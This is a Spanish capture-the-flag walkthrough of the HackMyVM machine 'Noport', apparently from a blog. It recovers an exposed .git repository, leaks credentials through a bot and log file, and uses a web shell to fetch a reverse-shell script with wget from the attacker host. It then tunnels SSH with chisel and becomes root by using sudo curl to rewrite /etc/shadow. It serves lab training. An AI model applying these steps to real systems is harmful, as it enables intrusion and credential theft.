Noport

Máquina de dificultad media de la plataforma HackMyVM

Comprobación

Comenzamos esta máquina creando, como siempre, un directorio con el nombre de esta máquina y ejecutando la función “maquina”, la cual está previamente definida en nuestra zshrc

Una vez que tenemos esos tres directorios, nos vamos a meter en reconocimiento y, una vez aquí, haremos un reconocimiento de la red para ver cuál es la IP de la máquina víctima

Ahí tenemos que es la 192.168.1.135, por lo que vamos a hacerle un ping para ver si tenemos conexión con ella

En el caso de esta máquina no tenemos la posibilidad de enviar trazas ICMP, por lo que vamos a pasar directamente al escaneo de puertos

Escaneo de puertos

Para poder descubrir qué puertos están abiertos dentro de la máquina, vamos a ejecutar el siguiente comando

Este comando lo que va a hacer es lo siguiente:

PLAINTEXT

-sS
Click to expand and view more

Para que no se realice un three-way handshake. Básicamente, lo que pasa si no le ponemos este parámetro es lo siguiente:

Si no le ponemos el parámetro -sS, enviamos un SYN, recibimos un SYN/ACK y entablamos la conexión enviando finalmente un ACK

Si le ponemos el parámetro -sS, enviamos un SYN, recibimos un SYN/ACK, pero le devolvemos un RST (Reset Packet)

Es una manera más “sigilosa” de hacer un escaneo y nos permite ir más rápido, pero se puede llegar a ver en los logs del servidor que alguien le está escaneando, así que cuidado si vais a hacerlo a un servidor “real”

PLAINTEXT

--min-rate 5000
Click to expand and view more

Le indicas a nmap que no haga peticiones más lentas de 5000 paquetes por segundo

PLAINTEXT

-n
Click to expand and view more

Por defecto, nmap realiza resolución DNS. Con este parámetro le indicamos que no lo haga

PLAINTEXT

-Pn
Click to expand and view more

Otra cosa que hace nmap por defecto es realizar un ping para saber si el host está activo antes de escanearlo, por lo que con este parámetro le decimos que no queremos que nos realice ese ping de comprobación

PLAINTEXT

-oG
Click to expand and view more

Por último, este parámetro lo que hace es exportar las evidencias al archivo “puertos_” en un formato fácil de tratar con expresiones regulares (como es nuestro caso con mi herramienta portsClean.sh)

Una vez que termina el escaneo, se nos genera un archivo al cual le vamos a pasar nuestra herramienta para que nos diga cuál es la información más relevante del escaneo

Con el parámetro -f le decimos cuál es el nombre de la captura que hemos generado con el parámetro -oG de nmap y con -o le indicamos el nombre del archivo en el que queremos que nos guarde las evidencias ya tratadas por esta herramienta

Como vemos, la máquina solamente tiene el puerto 80, por lo que vamos a ver qué servicios y versiones corren para este servicio. Para ello vamos a emplear de nuevo nmap

PLAINTEXT

-sC
Click to expand and view more

Este parámetro lo que hace es decirle a nmap que lance algunos de los scripts que tiene la herramienta programados en Lua

PLAINTEXT

-sV
Click to expand and view more

Con este otro le estamos diciendo a nmap que detecte las versiones de los servicios que están corriendo para el puerto 80

PLAINTEXT

-oN
Click to expand and view more

Y por último le decimos que todo lo que encuentre lo guarde en el archivo “versiones”, de la misma manera en la que se representaría por consola

Una vez que ha terminado este escaneo, vamos a abrir el archivo “versiones” para ver qué nos reporta de este puerto

Por ahí podemos ver que el servicio que corre para este puerto es una web (hecha con nginx) y que tenemos aparentemente un directorio /.git/, lo que nos da a pensar que igual es un repositorio de GitHub

PD: Recuerda que al hacer el “cat” le he especificado que el lenguaje es Java aunque no lo sea, para que me ponga los colores. Mi “cat” es un alias de bat

Ya que hemos visto que es un servicio web lo que corre para este puerto, vamos a hacerle las dos operaciones que suelo hacer siempre cuando veo que está corriendo un servicio así

La primera es ver las tecnologías que corren para este servicio con “whatweb”, que al fin y al cabo es como Wappalyzer, solo que esta es una herramienta de consola

La información que nos da es que está corriendo php/7.3.22, el título y poca cosa más

La segunda operación es utilizar un script que tiene nmap que sirve como fuzzer básico para ver superficialmente si hay algún directorio oculto disponible

El script reside en esta ruta absoluta de la máquina

Procedemos a ejecutarlo y vamos a ver qué nos reporta

Podemos ver que tenemos varios directorios disponibles, por lo que vamos a pasar a ver la página web, que es lo que contiene

Web

Nada más entrar a la página vemos lo siguiente

Un panel de login. Al no saber ni el usuario ni la contraseña, voy a pasar a ver el directorio git, que me interesa más

El directorio git sí que podemos verlo

Al tener esto disponible, podemos hacer una recomposición del proyecto

Para hacer esto hay herramientas que lo hacen automático, como por ejemplo “GitHack”, pero en esta ocasión lo voy a hacer a mano para que se vea cómo se haría sin emplear ninguna herramienta

Para empezar vamos a bajarnos todo el contenido que hay en ./.git

Lo que estamos haciendo aquí es bajarnos todo el contenido del directorio .git, pero borrando todo lo que empiece por index, ya que no pertenecen al repo original porque son generados por el servidor web y lo único que hacen es luego ensuciar la reconstrucción del proyecto

Una vez que nos hemos bajado todo lo que hay en la carpeta .git, vamos a materializar el contenido del repositorio a partir de los archivos que nos hemos descargado

Una vez que recomponemos el proyecto podemos ver tres archivos: uno de ellos parece la configuración de nginx, otro el index.php y, por último, un .conf

En principio el que a mí me interesa es el index.php, ya que es donde se supone que debe estar definida toda la lógica de la página web

Dentro del archivo index.php podemos ver cómo se hace la consulta a la base de datos, que existe un archivo “test.php” y que también existe un archivo sh3ll.php

En el index.php hay una cosa que me ha llamado la atención, es lo siguiente

Por lo que he intentado apuntar a un archivo interno del sistema para ver si se acontecía un LFI, pero no he tenido éxito

El caso es que hay muchas cosas definidas dentro del index.php, por lo que antes de seguir quiero ver qué más rutas (aparte del index.php) están disponibles en el servicio web

Podemos ver que hay un directorio 0, un archivo test.php (el cual ya sabíamos que existía por el index.php) y otro directorio log

Después de visitarlos, el que más me llamó la atención es log, ya que contiene lo siguiente

Podemos ver que se ha quedado un registro de la solicitud que he hecho antes, en la cual intentaba apuntar a un archivo del sistema y también su respuesta, en este caso que no se ha encontrado

Sabiendo que tenemos acceso a un fichero log, vamos a ver qué más cosas podemos encontrar en el archivo index.php

Podemos ver que si hacemos una petición por POST a la ruta /visit no tenemos que especificar el usuario, por lo que vamos a probarlo

Esta es una solicitud normal a /visit por GET

Y ahora vamos a probar a cambiar el método a POST

Como podemos ver, ya no nos dice que tenemos que registrarnos. Ahora lo que nos dice es que tenemos que especificar la URI

El URI, para el que no lo sepa, es una variable definida en el index.php

Si seguimos revisando el código podemos ver lo siguiente

Si la variable path es igual a /profile/, se ejecuta una consulta a la base de datos y se almacena en la variable $user

Vamos a realizar una solicitud con curl a /visit enviándole como data la ruta /profile/

Ahí podemos ver que nos sale que el bot ha visitado la ruta /profile/, por lo que si nos vamos ahora al directorio log que hemos visto antes nos encontraremos con lo siguiente

Ahí podemos ver el nombre de usuario y la contraseña

La contraseña parece estar en MD5, por lo que vamos a decodificarla

Ahí la tenemos, por lo que ahora vamos a ingresar a la página para ver cómo podemos ganar acceso al sistema

Dentro vemos esto:

Vemos que la página es “sh3ll.php”, que la hemos visto antes en el index, y traduciéndolo se supone que pone “Ejecutar comando” y “Comando:”

Vamos a comprobar si es verdad que podemos ejecutar comandos

Podemos ver que nos deja listar el contenido del directorio en el que está alojado el archivo sh3ll.php

Ya que podemos ejecutar comandos, voy a crearme una reverse shell, la cual voy a compartir a nivel de red para que la máquina víctima se la descargue

Para empezar, este es el archivo de reverse shell que voy a estar compartiendo

Una vez que lo tenemos listo, vamos a compartirlo a nivel de red montando un servicio web con Python en el puerto 80 de nuestra máquina atacante

Y ahora en la web, como podemos ejecutar comandos a nuestro antojo, vamos a descargarnos este archivo

PLAINTEXT

wget http://192.168.1.155/reverse.sh
Click to expand and view more

Una vez que lo ejecutamos, si miramos los logs de nuestro servicio web podemos ver que la IP de la máquina víctima se lo ha descargado

De todas formas, si ejecutamos un ls -la vamos a ver el archivo ahí también

Por lo que, una vez que está el archivo en la máquina víctima, lo que nos queda por hacer es ponernos en escucha por el puerto 1212 y ejecutar el script

Y ahí tendríamos nuestra reverse shell

Iba a hacer el tratamiento de la TTY como hago siempre que gano acceso a una máquina, pero al no tener el comando “script” instalado no puedo hacerlo así, por lo que he decidido usar rlwrap, que nos hace el apaño y nos permite hacer algunas cosas como si hubiéramos realizado el tratamiento. Una vez dicho esto, seguimos con la escalada de privilegios

Escalada de privilegios

Ahora estamos con los mínimos privilegios posibles, ya que somos el usuario apache, así que vamos a ver si encontramos la manera de escalar a otro usuario

Al irme al directorio /home vi que había un directorio con el nombre de “akaRed”, directorio, por cierto, para el que no tengo permisos, así que vamos a intentar escalar al usuario akaRed

Después de probar un rato vi lo siguiente

Hay un proceso escuchando por el puerto 22 (que normalmente es un puerto reservado para SSH), pero no puedo ver cuál es ya que no soy usuario root. Además, el servicio está escuchando por la interfaz 127.0.0.1, lo que significa que solo es accesible de forma interna, por eso no lo hemos visto a la hora de hacer el escaneo de puertos

Sabiendo esto ya tenemos una posible vía de acceso para poder conectarnos al puerto 22 haciendo port forwarding

Para poder realizar esto vamos a emplear “chisel”. Esta herramienta nos permite crear un túnel entre las dos máquinas y hacer que mi puerto x se convierta en su puerto 22 y de esta manera poder conectarnos por SSH a la máquina

Vamos a descargarla accediendo a su repo de GitHub

Una vez que la tenemos, vamos a montarnos un servidor web con Python como hemos hecho antes y desde el cliente nos vamos a descargar chisel

Una vez que lo tenemos tanto en la máquina víctima como en el atacante, procedemos a ponernos en escucha desde el atacante

Con el parámetro –reverse nos permite crear túneles a través

Y ahora en el cliente tenemos que ejecutar chisel de la siguiente manera

En el cliente hemos especificado lo siguiente

PLAINTEXT

client <- para que se ejecute chisel en modo cliente
Click to expand and view more
PLAINTEXT

ip:puerto <- la IP y el puerto del servidor (la máquina atacante) que está en escucha
Click to expand and view more
PLAINTEXT

R:x:ip:y <- la R lo que hace es decir qué puerto queremos abrir en la máquina atacante, el cual es x, y después especificarle qué puerto de la máquina víctima va a ocupar nuestro puerto x de la máquina atacante
Click to expand and view more

Una vez que tenemos esto, vamos a conectarnos por SSH a nuestro puerto 2222, el cual es el 22 de la víctima

Al intentar conectarnos nos pide una contraseña, así que vamos a poner la que hemos utilizado antes para registrarnos en la web de login

Como podemos ver, ya estamos en la máquina víctima como el usuario “akaRed”, por lo que ahora sí que podemos acceder a su directorio

Podemos ver la primera flag, ahora solo nos falta elevar nuestro privilegio a root

Tenemos la posibilidad de ejecutar “curl” como root

Por lo que vamos a elevar nuestro privilegio abusando de este binario

Para empezar, vamos a ver todo el contenido del fichero /etc/shadow

Nos copiamos todo ese contenido y lo metemos en un archivo

Lo que vamos a hacer es quitar la contraseña del usuario root y ponerle otra

Generamos la contraseña

Esta nueva cadena la reemplazamos en el archivo

Y una vez que tenemos esto, vamos a mover todo el contenido que tenemos en el archivo que hemos creado al archivo /etc/shadow, lo que nos va a permitir saber ya la contraseña que va a tener root y podremos conectarnos a él

Si ahora nos intentamos conectar como root

Ya estamos como root en la máquina víctima

Por aquí está la flag

Start searching

Enter keywords to search articles

↑↓
ESC
⌘K Shortcut